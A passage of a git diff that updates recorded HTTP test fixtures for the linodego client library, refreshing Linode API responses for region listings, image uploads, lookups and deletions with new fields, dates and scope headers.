- 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:29 GMT + - Fri, 31 May 2024 17:09:38 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","label":"linodego-image-create-upload","description":"An + body: '{"region":"ap-west","label":"linodego-image-create-upload","description":"An image that does stuff.","cloud_init":true}' form: {} headers: @@ -267,12 +314,12 @@ interactions: url: https://api.linode.com/v4beta/images/upload method: POST response: - body: '{"upload_to": "https://us-iad-1.linodeobjects.com:443/linode-production-machine-images-uploads/23851700?Signature=VrqcwsOn48f%2Bs%2FrebQh06qdUkAo%3D&Expires=1708192110&AWSAccessKeyID=SANITIZED", - "image": {"id": "private/23851700", "label": "linodego-image-create-upload", + body: '{"upload_to": "https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/25476412?Signature=Tjr7JNsHgbSDhMZqmCJ%2F7hoOyt8%3D&Expires=1717261780&AWSAccessKeyID=SANITIZED", + "image": {"id": "private/25476412", "label": "linodego-image-create-upload", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "lgarber-dev", "type": - "manual", "is_public": false, "deprecated": false, "vendor": null, "expiry": - null, "eol": null, "status": "pending_upload", "capabilities": ["cloud-init"]}}' + "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "youjungk01", "type": + "manual", "tags": [], "is_public": false, "deprecated": false, "vendor": null, + "expiry": null, "eol": null, "status": "pending_upload", "capabilities": ["cloud-init"]}}' headers: Access-Control-Allow-Credentials: - "true" @@ -289,13 +336,13 @@ interactions: Connection: - keep-alive Content-Length: - - "599" + - "610" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:30 GMT + - Fri, 31 May 2024 17:09:40 GMT Pragma: - no-cache Strict-Transport-Security: @@ -310,7 +357,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -328,7 +378,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/images/private%2F23851700 + url: https://api.linode.com/v4beta/images/private%2F25476412 method: DELETE response: body: '{}' @@ -354,7 +404,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:48:30 GMT + - Fri, 31 May 2024 17:09:40 GMT Pragma: - no-cache Strict-Transport-Security: @@ -369,7 +419,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestImage_GetFound.yaml b/test/integration/fixtures/TestImage_GetFound.yaml index 012521229..d72c71073 100644 --- a/test/integration/fixtures/TestImage_GetFound.yaml +++ b/test/integration/fixtures/TestImage_GetFound.yaml @@ -16,8 +16,8 @@ interactions: response: body: '{"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "description": "", "created_by": "linode", "type": "manual", "is_public": true, - "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": + "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": + true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}' headers: Access-Control-Allow-Credentials: @@ -35,13 +35,13 @@ interactions: Connection: - keep-alive Content-Length: - - "361" + - "373" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 15 Mar 2024 18:43:24 GMT + - Fri, 31 May 2024 17:08:36 GMT Pragma: - no-cache Strict-Transport-Security: @@ -57,7 +57,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestImage_GetMissing.yaml b/test/integration/fixtures/TestImage_GetMissing.yaml index cd4238db2..a321bb85f 100644 --- a/test/integration/fixtures/TestImage_GetMissing.yaml +++ b/test/integration/fixtures/TestImage_GetMissing.yaml @@ -31,7 +31,7 @@ interactions: Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:47:58 GMT + - Fri, 31 May 2024 17:08:35 GMT Pragma: - no-cache Vary: @@ -41,7 +41,10 @@ interactions: X-Frame-Options: - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found diff --git a/test/integration/fixtures/TestImage_Upload.yaml b/test/integration/fixtures/TestImage_Upload.yaml index 6c41989b8..d9a065f42 100644 --- a/test/integration/fixtures/TestImage_Upload.yaml +++ b/test/integration/fixtures/TestImage_Upload.yaml @@ -15,11 +15,11 @@ interactions: url: https://api.linode.com/v4beta/images/upload method: POST response: - body: '{"upload_to": "https://us-ord-1.linodeobjects.com:443/linode-production-machine-images-uploads/23851696?Signature=Sv2YDjn0fC5o6oi2YBHDPIdLOz4%3D&Expires=1708192079&AWSAccessKeyID=SANITIZED", - "image": {"id": "private/23851696", "label": "linodego-image-test", "description": + body: '{"upload_to": "https://us-ord-1.linodeobjects.com:443/linode-production-machine-images-uploads/25476392?Signature=ZL7JALnUFwvCWqx7UIVT6HAgMh8%3D&Expires=1717261716&AWSAccessKeyID=SANITIZED", + "image": {"id": "private/25476392", "label": "linodego-image-test", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "size": 0, "created_by": "lgarber-dev", "type": "manual", "is_public": false, - "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": + "size": 0, "created_by": "youjungk01", "type": "manual", "tags": [], "is_public": + false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": []}}' headers: Access-Control-Allow-Credentials: @@ -37,13 +37,13 @@ interactions: Connection: - keep-alive Content-Length: - - "574" + - "585" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Fri, 16 Feb 2024 17:47:59 GMT + - Fri, 31 May 2024 17:08:37 GMT Pragma: - no-cache Strict-Transport-Security: @@ -58,7 +58,77 @@ interactions: - DENY - DENY X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/images/private%2F25476392 + method: GET + response: + body: '{"id": "private/25476392", "label": "linodego-image-test", "description": + "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": 